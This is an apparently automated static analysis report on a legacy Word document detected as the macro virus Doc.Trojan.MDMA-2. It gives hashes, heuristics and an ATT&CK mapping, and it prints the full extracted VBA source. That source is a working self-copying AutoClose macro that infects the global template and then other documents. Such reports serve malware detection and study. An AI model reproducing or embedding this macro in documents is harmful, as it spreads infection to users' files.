Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b334dfc070def36c…

MALICIOUS

Office (OLE)

27.0 KB Created: 1999-08-03 11:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c10903f6d65bd5affa7f532434215baf SHA-1: 3fa8bc0bb7092d3b521b634b39e6ac6a4f4ff511 SHA-256: b334dfc070def36c67271467d1a3267356b5fbb4ae5ca82f0e83cf7ab6410428
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro named 'AutoClose'. This macro is designed to copy itself to the global template, indicating an attempt to establish persistence or ensure execution on subsequent document openings. The presence of 'AutoClose' and the macro copying logic strongly suggests a malicious intent to execute further payloads.

Heuristics 4

  • ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MDMA-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1271 bytes
SHA-256: 5084ecf9fb612226a4d2e42547e25d91fa68337db8e66668e2d6c357ef05fb96
Detection
ClamAV: Doc.Trojan.MDMA-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
    install
End Sub

Private Sub install()
Dim total
Dim installed
Dim i
    total = WordBasic.CountMacros(0)
    installed = 0
    If total >= 0 Then
        For i = 1 To total
            If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
                installed = 1
            End If
        Next
    End If
    If installed = 0 Then
        WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose"
    Else
        total = WordBasic.CountMacros(1)
        installed = 0
        If total > 0 Then
            For i = 1 To total
                If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
                    installed = 1
                End If
            Next
        End If
        If installed = 0 Then
            WordBasic.FileSaveAs Format:=1
            WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose"
        End If
    End If
End Sub

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